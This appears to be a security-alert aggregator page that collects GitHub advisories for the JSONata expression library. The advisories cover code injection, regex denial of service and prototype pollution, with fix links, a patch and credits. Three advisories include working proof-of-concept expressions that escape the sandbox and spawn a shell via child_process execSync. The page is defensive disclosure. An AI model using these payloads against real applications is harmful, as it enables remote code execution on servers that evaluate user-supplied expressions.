Where
-Infinity
0

Vendor Risk Score

See how jsonata compares to other vendors in security performance

View Risk Score →
Code Injection

Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to: - overwriting $clone allowing mutation of objects via transforms (see evaluateTransformExpression) - it being possible to destruct jsonata functions/lambdas (e.g. $merge.) - applyProcedure using proc.arguments.forEach and not Array.prototype.forEach

Which could be chained to execute arbitrary code.

This was fixed with:

- https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673) - https://github.com/jsonata-js/jsonata/pull/800 - https://github.com/jsonata-js/jsonata/pull/802

Which are included in the 2.2.1 release. Fixes were then back-ported to the 1.8.8 release.

PoC

js import jsonata from "jsonata";

const expression = jsonata( ( $obj := {}; $clone := function($o) { $o }; $m := ($merge.)[1];

$fn := function($a) { ( $a({"value":"lg"},"lookupGetter"); $a({"value":"x"},"x"); ) };

$nop := function() { $ };

$capture := function($val) { $obj ~> | $obj | {"x": 1, "y": 1, "lg":$lg} | };

$ ~> | $ | $m([$nop,{"jsonatalambda":false}])|; $ ~> | $ | {"arguments":{"forEach": $spread($fn)}}|; $ ~> | $ | {"body":$m([$capture,{"jsonatalambda":false}]).body}|; $func := $m([$,{"jsonatalambda":true}]); $func();

$gP := $obj.lg("proto");

$afn:=$spread($fn); $afn{"x":$gP().constructor("return process.getBuiltinModule('childprocess').execSync('sh',{stdio:'inherit'})")()}; ) );

await expression.evaluate({});

References

- https://github.com/jsonata-js/jsonata/pull/799 - https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673 - https://github.com/jsonata-js/jsonata/commit/c41ef185136a7b96ca1049c7745a7503b82193de

- https://github.com/jsonata-js/jsonata/pull/800 - https://github.com/jsonata-js/jsonata/commit/d49dcdd01a4617e5601edda3ce9a971a791126dc

- https://github.com/jsonata-js/jsonata/pull/802 - https://github.com/jsonata-js/jsonata/commit/e362dfd686c1dadd1dd9324373819be446fd4f04

1 / 2
Source: GitHub
First published (updated )
Code Injection

Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a bypassable hasOwnProperty check in environment.lookup https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871

This was fixed in https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865) which is included in the 2.2.1 release, and then back-ported to the 1.8.8 release.

PoC

js import jsonata from "jsonata";

const expression = jsonata( ( $hasOwnProperty := $spread($string); $proto := $constructor; $constructor("return process.getBuiltinModule('childprocess').execSync('sh',{stdio:'inherit'})")(); ));

await expression.evaluate({});

1 / 2
Source: GitHub
First published (updated )
Code Injection

Impact

Before JSONata 2.2.0 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a missing hasOwnProperty check in the lookup function: https://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705

This was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the 2.2.0 release, and ported in the 1.8.8 release.

PoC

js import jsonata from "jsonata";

const expression = jsonata( ( lookupSetter('proto')(constructor); defineGetter('l', constructor("return process.getBuiltinModule('childprocess').execSync('sh',{stdio:'inherit'}).toString()")); valueOf().l ) );

await expression.evaluate({});

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact In JSONata <v2.2.0, it is possible to craft non-matching inputs to the $toMillis function that cause superlinear backtracking in the ISO-8601 validation regex. This may lead to denial of service in applications that evaluate user-provided JSONata expressions.

Patches This issue has been addressed in JSONata version >= 2.2.0 via fixes that include https://github.com/jsonata-js/jsonata/pull/782 and https://github.com/jsonata-js/jsonata/pull/793. Applications that evaluate user-provided expressions should update ASAP to prevent exploitation.

References https://github.com/jsonata-js/jsonata/releases/tag/v2.2.0

Credit Thank you to Doruk Tan Öztürk for disclosing this issue.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
EPSS
0.04%
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Impact

In JSONata versions >= 1.4.0, < 1.8.7 and >= 2.0.0, < 2.0.4, a malicious expression can use the transform operator to override properties on the Object constructor and prototype. This may lead to denial of service, remote code execution or other unexpected behavior in applications that evaluate user-provided JSONata expressions.

Patch

This issue has been fixed in JSONata versions >= 1.8.7 and >= 2.0.4. Applications that evaluate user-provided expressions should update ASAP to prevent exploitation. The following patch can be applied if updating is not possible.

patch --- a/src/jsonata.js +++ b/src/jsonata.js @@ -1293,6 +1293,13 @@ var jsonata = (function() { } for(var ii = 0; ii < matches.length; ii++) { var match = matches[ii]; + if (match && (match.isPrototypeOf(result) || match instanceof Object.constructor)) { + throw { + code: "D1010", + stack: (new Error()).stack, + position: expr.position + }; + } // evaluate the update value for each match var update = await evaluate(expr.update, match, environment); // update must be an object @@ -1539,7 +1546,7 @@ var jsonata = (function() { if (typeof err.token == 'undefined' && typeof proc.token !== 'undefined') { err.token = proc.token; } - err.position = proc.position; + err.position = proc.position || err.position; } throw err; } @@ -1972,6 +1979,7 @@ var jsonata = (function() { "T1007": "Attempted to partially apply a non-function. Did you mean ${{{token}}}?", "T1008": "Attempted to partially apply a non-function", "D1009": "Multiple key definitions evaluate to same key: {{value}}", + "D1010": "Attempted to access the Javascript object prototype", // Javascript specific "T1010": "The matcher function argument passed to function {{token}} does not return the correct object structure", "T2001": "The left side of the {{token}} operator must evaluate to a number", "T2002": "The right side of the {{token}} operator must evaluate to a number",

References

https://github.com/jsonata-js/jsonata/releases/tag/v2.0.4

Credit

Thank you to Albert Pedersen of Cloudflare for disclosing this issue.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203